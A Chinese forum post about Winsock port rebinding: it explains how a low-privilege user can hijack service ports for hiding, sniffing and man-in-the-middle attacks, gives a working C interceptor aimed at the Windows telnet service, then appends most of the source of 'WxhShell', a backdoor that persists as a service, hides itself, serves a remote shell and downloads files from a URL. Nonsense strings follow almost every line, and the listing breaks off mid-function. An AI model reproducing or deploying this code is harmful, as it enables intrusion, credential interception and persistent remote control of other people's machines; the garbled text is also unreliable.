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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e?bYjJ q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &uUo3qXQ5l  
%zU`XVNN+  
  saddr.sin_family = AF_INET; *Ei|fe$sa  
|w}xl'>q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m`6Yc:@E  
wW?,;B'74  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @Mvd'.r<;  
ob_I]~^I?|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (Toq^+`c  
f.GETw  
  这意味着什么?意味着可以进行如下的攻击: {A|TowBN  
Jx#k,Z4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :R):b  
aQ j*KMc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4x%(9_8 {-  
80M;4nH^5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4lKVY<  
*c[2C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~7!7\i,Y8\  
!QmzrX}h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZDL']*)'  
midsnG+jnf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]\RRqLDzkg  
>s3gqSDR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '2zL.:~  
^7]"kg DA  
  #include ?t@v&s  
  #include l!E7A Kk8  
  #include avp; *G }  
  #include    aj,)P3DJu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HmK*bZ  
  int main() *sQcg8{^  
  { R6 XuA(5  
  WORD wVersionRequested; @+U,Nzd  
  DWORD ret; sM1RU  
  WSADATA wsaData; 52zGJ I*  
  BOOL val; Y<\^ 7\[x  
  SOCKADDR_IN saddr; #0b&^QL  
  SOCKADDR_IN scaddr; !e#xx]v3  
  int err; 0e["]Tlnm  
  SOCKET s; 2Ha5yaTL  
  SOCKET sc; vtJV"h?e"3  
  int caddsize; O gmO&cE  
  HANDLE mt; _ nT{g  
  DWORD tid;   2}}?'PwwT  
  wVersionRequested = MAKEWORD( 2, 2 ); V's:>;  
  err = WSAStartup( wVersionRequested, &wsaData );  0JRD  
  if ( err != 0 ) { RaSz>-3d  
  printf("error!WSAStartup failed!\n"); M ixwK,  
  return -1; E& 36H  
  } wN37zPnV~  
  saddr.sin_family = AF_INET; TY;U2.Ud  
   u"$a>S_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I.}1JJF*   
&ntBU]< q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4aZCFdc  
  saddr.sin_port = htons(23); FgA//)1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k7_I$ <YDj  
  { sc`"P-J+vp  
  printf("error!socket failed!\n"); guN4-gGDr<  
  return -1; +-068k(  
  } \9)[ #Ld  
  val = TRUE; oL/o*^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MBk"KF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w'Z!;4E0  
  { >e5zrgV  
  printf("error!setsockopt failed!\n"); Pn TZ/|  
  return -1; 0rMqWP  
  } DOD6Liau{Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TW`mxj_J2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b5ie <s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O{KB0"s>i  
){Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '\p;y7N  
  { &jts:^N>  
  ret=GetLastError(); UFZ"C,  
  printf("error!bind failed!\n"); o0;7b>Tv  
  return -1; Ph7pd  
  } 9n}A ^  
  listen(s,2); ;?9A(q_Z  
  while(1) i|2$8G3  
  { 0*(K DDv  
  caddsize = sizeof(scaddr); KvFR8s  
  //接受连接请求 |paP<$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XK3]AYH  
  if(sc!=INVALID_SOCKET) +802`eax  
  { okBE|g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !y vJpdsof  
  if(mt==NULL) | 1V2tx  
  { ]UUI~sFE  
  printf("Thread Creat Failed!\n"); GEE ]Kr  
  break; 0M!0JJy#*  
  } >a]t<  
  } 5g NLO\  
  CloseHandle(mt); i>Iee^_(  
  } $v&C@l \  
  closesocket(s); \RE c8nsLy  
  WSACleanup(); &tBA^igXK  
  return 0; @%B4;c  
  }   A^pW]r=Xtk  
  DWORD WINAPI ClientThread(LPVOID lpParam) %_tk7x  
  { *( *z|2  
  SOCKET ss = (SOCKET)lpParam; yisLypM*  
  SOCKET sc; hPPB45^  
  unsigned char buf[4096]; [ _%,6e+  
  SOCKADDR_IN saddr; G.ud1,S#  
  long num; wW()Zy0)  
  DWORD val; <|JU(B  
  DWORD ret; #{>uC&jD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 + zDc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nO_!:6o".  
  saddr.sin_family = AF_INET; F!R2_89iy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t&f" jPu>  
  saddr.sin_port = htons(23); *:#Z+7x ]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {5 Kz'FT  
  { Doj(.wm~  
  printf("error!socket failed!\n"); 3uO8v{`  
  return -1; WY.5K =}  
  } a>(~C'(<  
  val = 100; 86{ZFtv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sy.:T]ZH  
  { O9;dd yx  
  ret = GetLastError(); 5Jd` ^U  
  return -1; Bt6xV<jD  
  } &NP6%}bR`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +U=KXv  
  { . =R=cA7  
  ret = GetLastError(); S| "TP\o  
  return -1; 7?"9J `*  
  } GDmv0V$6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hOn  
  { VwC4QK,d;  
  printf("error!socket connect failed!\n"); @|'Z@>!/pV  
  closesocket(sc); 'v+96b/;  
  closesocket(ss); ebD{ pc`&  
  return -1; lux9o$ %  
  } [[$Mh_MD  
  while(1) _;V YFs  
  { ]eD[4Y\#t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a^x  0 l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d>~`j8,B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v'$ykZ!Z  
  num = recv(ss,buf,4096,0); Pd,!&  
  if(num>0) '1lx{U zD  
  send(sc,buf,num,0); 65t[vi*C  
  else if(num==0) g.=!3e&z%  
  break; Lm.Ik}Gli  
  num = recv(sc,buf,4096,0); >LCjtm\  
  if(num>0) {YfYIt=.  
  send(ss,buf,num,0); F-i&M1 \_  
  else if(num==0) -/1d&  
  break; *eMLbU7  
  } ?SB5b,  
  closesocket(ss); VJGwd`qo*A  
  closesocket(sc); gMCy$+?  
  return 0 ; ayN*fiV]  
  } n/Or~@pHD  
hg!x_Eq|  
1ME|G"$;  
========================================================== ^1()W,B~w  
:0{AP_tvcC  
下边附上一个代码,,WXhSHELL *?s/Ho &'  
z)r8?9u  
========================================================== }D(DU5r  
?#x'_2  
#include "stdafx.h" EC0zH#N  
rUGZjLIGqz  
#include <stdio.h> 1fmSk$ y.9  
#include <string.h> elNB7%Y/  
#include <windows.h> e?|d9;BO  
#include <winsock2.h> 7O]J^H+7  
#include <winsvc.h> :LU"5g  
#include <urlmon.h> +0pgq (  
N;e}dwh&  
#pragma comment (lib, "Ws2_32.lib") +!D=SnBGs  
#pragma comment (lib, "urlmon.lib") "tEj`eR  
PEK.Kt\M  
#define MAX_USER   100 // 最大客户端连接数 W` WLW8Qsw  
#define BUF_SOCK   200 // sock buffer f6@^ Mg  
#define KEY_BUFF   255 // 输入 buffer AEiWL.*.  
n U+pnkMj  
#define REBOOT     0   // 重启 IS3e|o*]MP  
#define SHUTDOWN   1   // 关机  zjZ;xn  
g| _HcaW  
#define DEF_PORT   5000 // 监听端口 @2)t#~Wc4h  
L{4),65  
#define REG_LEN     16   // 注册表键长度 IptB.bYc  
#define SVC_LEN     80   // NT服务名长度 7Y$4MMNQ  
6:e}v'q{  
// 从dll定义API <L[T'ZE+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k^L#,:\&V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z36brv<_'p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gPF}aaB6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yg\{S<wr  
&<\4q  
// wxhshell配置信息  m^W*[ ^p  
struct WSCFG { (CKhY~,/u  
  int ws_port;         // 监听端口 ^T uP=q5?  
  char ws_passstr[REG_LEN]; // 口令 &"@HWF  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5i}CzA96  
  char ws_regname[REG_LEN]; // 注册表键名 <DA{\'jJ  
  char ws_svcname[REG_LEN]; // 服务名 [u!p-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9b"}CEw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %OezaNOtm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a+4`}:KA#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C}M0XW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^VM"!O;h{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s0X/1Cq  
=H.<"7  
}; E-5ij,bHv3  
|IyM"UH  
// default Wxhshell configuration 'PmHBQvt&  
struct WSCFG wscfg={DEF_PORT, K#m\ qitb  
    "xuhuanlingzhe", |ec(z  
    1, iZDb.9@&t  
    "Wxhshell", S20 nk.x  
    "Wxhshell", F1{?]>G  
            "WxhShell Service", ( FjsN5  
    "Wrsky Windows CmdShell Service", .&* ({UM  
    "Please Input Your Password: ", ^^t]vojX  
  1, ;:8jxkx6%  
  "http://www.wrsky.com/wxhshell.exe", L:k@BCQM  
  "Wxhshell.exe" l"~h1xk~  
    }; /:*R -VdF  
[7SI<xkv  
// 消息定义模块 &\WkJ}&PnA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z Et6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sTYuwna~   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8`rAE_n`%  
char *msg_ws_ext="\n\rExit."; M rH%hRV6R  
char *msg_ws_end="\n\rQuit."; z</XnN  
char *msg_ws_boot="\n\rReboot..."; mTb2d?NS  
char *msg_ws_poff="\n\rShutdown..."; 3LmBV\["  
char *msg_ws_down="\n\rSave to "; W~+!"^<n  
Hjo:;s  
char *msg_ws_err="\n\rErr!"; ] fwTi(4y  
char *msg_ws_ok="\n\rOK!"; $J;=Ux)$  
~3*ZG  
char ExeFile[MAX_PATH]; {_k!!p6  
int nUser = 0; EkgN6S`}  
HANDLE handles[MAX_USER]; u}@% 70A  
int OsIsNt; .x-Z+Rs{g  
fDm}J  
SERVICE_STATUS       serviceStatus; Y+PvL|`O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?G%, k LJJ  
I;|5C=!  
// 函数声明 !z4Hj{A_  
int Install(void); #Ko+_Hm?4  
int Uninstall(void); R(7X}*@X  
int DownloadFile(char *sURL, SOCKET wsh); g^<q L|  
int Boot(int flag); NGb! 7Mu9  
void HideProc(void); Jj^<:t5{rN  
int GetOsVer(void); 7]HIE]#  
int Wxhshell(SOCKET wsl); 'k(~XA}X:  
void TalkWithClient(void *cs); @u'27c_<d3  
int CmdShell(SOCKET sock); W) Kpnb7  
int StartFromService(void); [2H(yLwO  
int StartWxhshell(LPSTR lpCmdLine); zf!\wY"`  
;6 &=]I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {dSU \':  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ; HLMU36q  
7yCx !P;  
// 数据结构和表定义 ZZ.0'   
SERVICE_TABLE_ENTRY DispatchTable[] = }RP9%n^  
{ +EB,7<5<  
{wscfg.ws_svcname, NTServiceMain}, |@bNd7=2d  
{NULL, NULL} W0?Y%Da(4m  
}; yfw>y=/p  
.]P;fCQmM  
// 自我安装 u>i+R"hi"  
int Install(void) kk\zZC <  
{ Xy8ie:D  
  char svExeFile[MAX_PATH]; R7;rBEt8  
  HKEY key; [{!j9E?(  
  strcpy(svExeFile,ExeFile); $v}8lBCr3  
i\R\bv[9  
// 如果是win9x系统,修改注册表设为自启动 $X\` 7`v  
if(!OsIsNt) { 17[t_T&Ak9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.]K6qC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GHsdLe=t0#  
  RegCloseKey(key); CH_Dat >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `::(jW.KO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L!Zxc~  
  RegCloseKey(key); = ]HJa  
  return 0; f+88R=-u6S  
    } YHv,Z|.w  
  } s1b\I6&:J  
} r L|BkN  
else { {^O/MMB\\%  
6g,3s?aT  
// 如果是NT以上系统,安装为系统服务 &l}xBQAL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v&/-&(+  
if (schSCManager!=0) 8P y_Y>  
{ WMRgf~TY=2  
  SC_HANDLE schService = CreateService .$}zw|,q  
  ( f%%En5e +  
  schSCManager, 5N</Z6f'o  
  wscfg.ws_svcname, H.G^!0j;  
  wscfg.ws_svcdisp, R#^pNJN  
  SERVICE_ALL_ACCESS, l{SPV8[i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2o3k=hKS  
  SERVICE_AUTO_START, [67f;?b  
  SERVICE_ERROR_NORMAL, <+JFal  
  svExeFile, XlcDF|?{.  
  NULL, zSufU2  
  NULL, ~ 5qZs"ks  
  NULL, Ox1QP2t6Y  
  NULL, 1UWgOCc  
  NULL D7 '0o`|  
  ); k  5kX  
  if (schService!=0) 6#63D>OWp  
  { y(BLin!O.  
  CloseServiceHandle(schService); :v ~q  
  CloseServiceHandle(schSCManager); DMpd(ws  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `fh_8%m]*  
  strcat(svExeFile,wscfg.ws_svcname); `D4'`Or-U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7027@M?A?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fszeJS}Dw  
  RegCloseKey(key); tF1%=&ss  
  return 0; }n8;A;axi  
    } k"-#ox!  
  } 6HQwL\r79  
  CloseServiceHandle(schSCManager); #mxfU>vQ:  
} lD=j/    
} Eu~wbU"%  
N>\?Aeh  
return 1; X.5LB!I)  
} zg Ti Az  
euC,]n.  
// 自我卸载 $ !=:ES  
int Uninstall(void) Y\S^DJy  
{ %+J*oFwQu  
  HKEY key; Y}z?I%zL  
T<GD!j(  
if(!OsIsNt) { Qj[O$L0 $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X}^gmu<Vla  
  RegDeleteValue(key,wscfg.ws_regname); =i %w_ e  
  RegCloseKey(key); <Wq{ V;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k= 1+mG  
  RegDeleteValue(key,wscfg.ws_regname); kfECC&"  
  RegCloseKey(key); >?FCv7qN  
  return 0; M&-/ &>n!  
  } {Oszq(A  
} )C6 7qY  
} z5w|+9U  
else { !qv;F?2 <g  
 p$v +L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qRLypm  
if (schSCManager!=0) F\72^,0  
{ Jx?>1q=M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FQl|<l6  
  if (schService!=0) 1k i"UF/  
  { :E*U*#h/  
  if(DeleteService(schService)!=0) { pdqh'+5  
  CloseServiceHandle(schService); 3Re\ T  
  CloseServiceHandle(schSCManager); X|G+N(`|(  
  return 0; !~v>&bCG>9  
  } n3,wwymQ  
  CloseServiceHandle(schService); j]SkBZgik  
  } G$<0_0GF  
  CloseServiceHandle(schSCManager); h (2k;M^s  
} uD3_'a  
} 49GCj`As  
OK(d&   
return 1; Cn '=_1p  
} #m>mYp8E.5  
HbVLL`06*  
// 从指定url下载文件 # w6CL  
int DownloadFile(char *sURL, SOCKET wsh) "dTXT  
{ q#Vf2U55m  
  HRESULT hr; l-EQh*!j  
char seps[]= "/"; w4a7c  
char *token; C"<@EMU9  
char *file; |&7,g  
char myURL[MAX_PATH]; Y[4B{  
char myFILE[MAX_PATH]; 5{Wl(jwb  
>Z% `&D~u  
strcpy(myURL,sURL); OFv} jT  
  token=strtok(myURL,seps); 'o L8Z  
  while(token!=NULL) *2F }e4v  
  { z^.0eP8\j  
    file=token; v!Z9T  
  token=strtok(NULL,seps); KG$2u:n  
  } ): 6d_g{2  
J7xmf,76w  
GetCurrentDirectory(MAX_PATH,myFILE); PQ>JoRs  
strcat(myFILE, "\\"); 8n?.w:Y/  
strcat(myFILE, file); 6tguy  
  send(wsh,myFILE,strlen(myFILE),0); *b EsWeP  
send(wsh,"...",3,0); nmr>Aj8[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CCV~nf  
  if(hr==S_OK) 5mU_S\)4:z  
return 0; CggEAi~  
else .E&~]<  
return 1; j7&l&)5  
4KCxhJq  
} HdM;c*K  
zKNk(/y  
// 系统电源模块 "|if<hx+  
int Boot(int flag) /V&Y@j  
{ s><co]  
  HANDLE hToken; uZ+<  
  TOKEN_PRIVILEGES tkp; \+xsJbEV  
2olim1  
  if(OsIsNt) { /!hW6u5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DN+`Q{KS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cO:x{~  
    tkp.PrivilegeCount = 1; \IKr+wlN8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #^Y,,GA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]G:xTv8  
if(flag==REBOOT) { *D,T}N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,P}c92;  
  return 0; $dR%8@.H  
} )n.peZ  
else { DjIs"5Iei  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C1=[\c~jw  
  return 0; >KE(%9y~  
} -Q; w4@  
  } B !XT:.+  
  else { ]arP6 iN+  
if(flag==REBOOT) { rhrlEf@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QUt!fF@t  
  return 0; d1-QkW^0y  
} J ?&9ofj&  
else { \4ZQop  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <x/&Ml+  
  return 0; Nx99dr  
} %^S1 fUwT  
} /=N`P &R#  
sdb#K?l  
return 1; O%Mh g\#B  
} WI%,m~  
1n^xVk-G  
// win9x进程隐藏模块 b#sO1MXv  
void HideProc(void) (f)QEho7  
{ w^~,M3(+)1  
t?\osPL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Px<;-H`  
  if ( hKernel != NULL ) VD4(  
  { fA8 ,wy|>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FX{Sb"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '>Z Ou3>  
    FreeLibrary(hKernel); WDcjj1`l  
  } mwt3EV5  
B#=dz,}  
return; Af;$}P  
} $3So`8Bm[$  
{'/8{dS  
// 获取操作系统版本 WaYT\CG7y  
int GetOsVer(void) ujaaO6oZ7  
{ [|vd r.  
  OSVERSIONINFO winfo; J( 0c#}d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j*GYYEY  
  GetVersionEx(&winfo); [,VD^\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N)QW$iw9  
  return 1; s\@!J.Da  
  else =7a9~&|  
  return 0; N*eZ4s'  
} 8IO4>CMkv  
0L'h5i>H)  
// 客户端句柄模块 E;yP.<PW  
int Wxhshell(SOCKET wsl) YtFtU;{  
{ >y5~:L  
  SOCKET wsh; Up~#]X  
  struct sockaddr_in client; OF}vY0oiw?  
  DWORD myID; kEi!q  
d+8Sypv^4*  
  while(nUser<MAX_USER)  [5H#ay  
{ 06ZyR@.@v  
  int nSize=sizeof(client); >mz<=n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uo# Pe@ieQ  
  if(wsh==INVALID_SOCKET) return 1; mk}8Cu4  
ZjWI~"]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q.*k J/L  
if(handles[nUser]==0) WOh?/F[@u  
  closesocket(wsh); s_/ CJ6s  
else [&51m^  
  nUser++; 04o(05K  
  } arm26YA-,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RK< uAiU  
{;q zz9 |  
  return 0; `#R[x7bA1  
} idEhxvAo  
13kl\ <6  
// 关闭 socket ,XU<2jv]  
void CloseIt(SOCKET wsh) EJrP{GH  
{ zt6GJ z1q  
closesocket(wsh); =A{F&:+a]  
nUser--; 7*.nd  
ExitThread(0); Pd)mLs Jg  
} G .NGS%v  
"\3C)Nz?  
// 客户端请求句柄 Qu|H_<8g  
void TalkWithClient(void *cs) &sJ-&7YZ  
{ $i1$nc8  
L xP%o  
  SOCKET wsh=(SOCKET)cs; #A\@)wJ  
  char pwd[SVC_LEN]; ^VOFkUp)  
  char cmd[KEY_BUFF]; {u~JR(C:  
char chr[1]; 6Z.Fyte  
int i,j; >P@g].Q-  
E6XDn`:  
  while (nUser < MAX_USER) { HAwdu1$8  
f\xmv|8  
if(wscfg.ws_passstr) { g-?@a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?.Q$@Ih0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5/8=Do](  
  //ZeroMemory(pwd,KEY_BUFF); bI+/0X x  
      i=0; |yS  %  
  while(i<SVC_LEN) { ~[<C6{  
C cPOK2  
  // 设置超时 KT[ZOtu  
  fd_set FdRead; 1%ENgb:8  
  struct timeval TimeOut; zX lcu_rc  
  FD_ZERO(&FdRead); &+ "<ia(  
  FD_SET(wsh,&FdRead); `J] e.K  
  TimeOut.tv_sec=8; SSxp!E'  
  TimeOut.tv_usec=0; .do8\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ulE5lG0c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oR7[[H.4  
DL`8qJ'mJs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'i',M+0>jC  
  pwd=chr[0]; 4_kY^"*#"  
  if(chr[0]==0xd || chr[0]==0xa) { %_."JT$v{  
  pwd=0; eR%\_;}7;  
  break; =p^$>o  
  } E;}&2 a  
  i++; !wN2BCSY@  
    } Idb*,l|<  
BmKf%:l}  
  // 如果是非法用户,关闭 socket fLnwA|n=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -0UR%R7q  
} 793 15A  
!B 4zU:d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]DKRug5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Kl:4 Tv  
dP?prT  
while(1) { tL3R<'  
|QS3nX<  
  ZeroMemory(cmd,KEY_BUFF); ,`JYFh M  
-'Ay(h   
      // 自动支持客户端 telnet标准   ltf KqY-  
  j=0; ^R=`<jx   
  while(j<KEY_BUFF) { D%~tU70a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VcGl8~#9  
  cmd[j]=chr[0]; 4j~q,# $LW  
  if(chr[0]==0xa || chr[0]==0xd) { E447'aJ  
  cmd[j]=0; tPl 4'tW_  
  break; 9 wZ?")2  
  } <4+P37^ ~  
  j++; ffG<hclk  
    } a M9v  
 q[ _qZ  
  // 下载文件 KJRAW]?{  
  if(strstr(cmd,"http://")) { QuqznYSY{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lhHH|~t0  
  if(DownloadFile(cmd,wsh)) 5]>*0#C S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p;>A:i  
  else 0W(mx-[H/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g E _+r  
  } +9w[/n^,G  
  else { z3y{0<3  
h <e  
    switch(cmd[0]) { <a]i"s  
  sSZ)C|Q  
  // 帮助 SK lvZ  
  case '?': { ]:OrGD"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c`soVqT$?  
    break; j@>D]j  
  } sSh{.XuB+3  
  // 安装 nd]SI;<  
  case 'i': { qtExd~E  
    if(Install()) y6nP=g|')>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@s!J8!  
    else >E>yA d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C3}:DIn"w  
    break; $DoR@2 ~y  
    }  !BsQJ_H  
  // 卸载 g}NO$?ndg  
  case 'r': { tw_o?9  
    if(Uninstall()) WeM38&dWY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#tUDxf(|  
    else 5dm~yQN/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V4+ |D2   
    break; B n7uKa{P  
    } 1uAjy(y  
  // 显示 wxhshell 所在路径 ,WRm{ v0f^  
  case 'p': { f' ?/P~[  
    char svExeFile[MAX_PATH]; hx9{?3#  
    strcpy(svExeFile,"\n\r"); 'OsZD?W{  
      strcat(svExeFile,ExeFile); I8Aq8XBw  
        send(wsh,svExeFile,strlen(svExeFile),0); lI<jYd 0fZ  
    break; =]%JTGdp(  
    } U?UU] >Q  
  // 重启 &BRk<iwV  
  case 'b': { wtw=RA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `,qft[1  
    if(Boot(REBOOT)) vqSpF6F q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n93q8U6m/U  
    else { 1,-C*T}nR  
    closesocket(wsh); 4j={ 9e<  
    ExitThread(0); hzo> :U  
    } cUY-  
    break; 1&|]8=pG7  
    } YzESV Th  
  // 关机 mtmC,jnD  
  case 'd': { |J-X3`^\H  
